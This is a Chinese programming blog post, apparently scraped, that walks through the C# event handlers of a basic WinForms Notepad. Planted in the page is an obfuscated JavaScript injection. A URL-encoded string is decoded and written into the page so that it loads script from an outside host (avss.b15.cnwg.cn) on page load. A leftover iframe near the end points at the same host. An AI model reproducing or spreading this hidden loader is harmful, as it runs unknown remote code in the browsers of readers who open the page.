简单的记事本(不含有查找和替换功能)

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
简单的记事本(不含有查找和替换功能)




一、新建项目:NotePad
二、窗体设计
1、
2、
3、
4、
 
5、
6、代码
  //退出
  private void Mexit_Click(object sender, System.EventArgs e)
  {
       if(MessageBox.Show("你确认要退出吗?","提示",MessageBoxButtons.YesNo,MessageBoxIcon.Question)==DialogResult.Yes)
       {
                this.Close();
       }
  }
        //新建
  private void Mnew_Click(object sender, System.EventArgs e)
  {
          richtb.Text="";
  }
        //打开
  private void MOpen_Click(object sender, System.EventArgs e)
  {
      if(openFileDialog1.ShowDialog()==DialogResult.OK)
      {
            StreamReader sr=new StreamReader(openFileDialog1.FileName,System.Text.Encoding.Default);
             richtb.Text=sr.ReadToEnd();
             sr.Close();
      }
  }
        //保存
  private void Msave_Click(object sender, System.EventArgs e)
  {
        if(saveFileDialog1.ShowDialog()==DialogResult.OK)
        {
              StreamWriter sw=new StreamWriter(saveFileDialog1.FileName);
              sw.Write(richtb.Text);
              sw.Close(); 
        }
  }
        //另存为
  private void MSaveas_Click(object sender, System.EventArgs e)
  {
        if(saveFileDialog1.ShowDialog()==DialogResult.OK)
        {
            StreamWriter sw=new StreamWriter(saveFileDialog1.FileName);
            sw.Write(richtb.Text);
            sw.Close(); 
        }
  }
        //剪切
  private void Mcut_Click(object sender, System.EventArgs e)
  {
        richtb.Cut();
  }
        //复制
  private void Mcopy_Click(object sender, System.EventArgs e)
  {
        richtb.Copy();
  }
        //粘贴
  private void Mpaste_Click(object sender, System.EventArgs e)
  {
         richtb.Paste();
  }
        //全选
  private void Mselectall_Click(object sender, System.EventArgs e)
  {
           richtb.SelectAll();
  }
        //添加日期
  private void Maddtime_Click(object sender, System.EventArgs e)
  {
           DateTime dt=DateTime.Now;
           richtb.AppendText(dt.ToString());
  }
        //自动换行
  private void Mwrap_Click(object sender, System.EventArgs e)
  {
          Mwrap.Checked=!Mwrap.Checked;
          if (Mwrap.Checked==true)
          {
                 richtb.WordWrap=true;
          }
          else
                 richtb.WordWrap=false;
  }
        //字体
  private void Mfont_Click(object sender, System.EventArgs e)
  {
           if(fontDialog1.ShowDialog()==DialogResult.OK)
           {
                 richtb.SelectionFont=fontDialog1.Font;
           }
  }
        //关于
  private void Mabout_Click(object sender, System.EventArgs e)
  {
          (new about()).ShowDialog();
  }
        //撤消
  private void Mundo_Click(object sender, System.EventArgs e)
  {
          richtb.Undo();
  }
        //删除
  private void Mdelete_Click(object sender, System.EventArgs e)
  {
        if(richtb.SelectedText!="")
        {
                 richtb.SelectedText="";
        }
  }
        //选项改变
  private void richtb_SelectionChanged(object sender, System.EventArgs e)
  {
         if(richtb.SelectedText!="")
         {
               Mcut.Enabled=true;
               Mcopy.Enabled=true;
               Mdelete.Enabled=true;
         }
         else
         {
               Mcut.Enabled=false;
               Mcopy.Enabled=false;
               Mdelete.Enabled=false;
         }
  }
7、窗体
8、7窗体的代码
private void btnOK_Click(object sender, System.EventArgs e)
  {
         Close();
  }
  private void linkLabel2_LinkClicked(object sender, System.Windows.Forms.LinkLabelLinkClickedEventArgs e)
  {
           System.Diagnostics.Process.Start("
mailto:zhuzhengye@yahoo.com.cn
");
  }
  private void linkLabel1_LinkClicked(object sender, System.Windows.Forms.LinkLabelLinkClickedEventArgs e)
  {
             System.Diagnostics.Process.Start("
http://zhuzy888.space.msn.com
");
  }
9、编译并运行程序

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值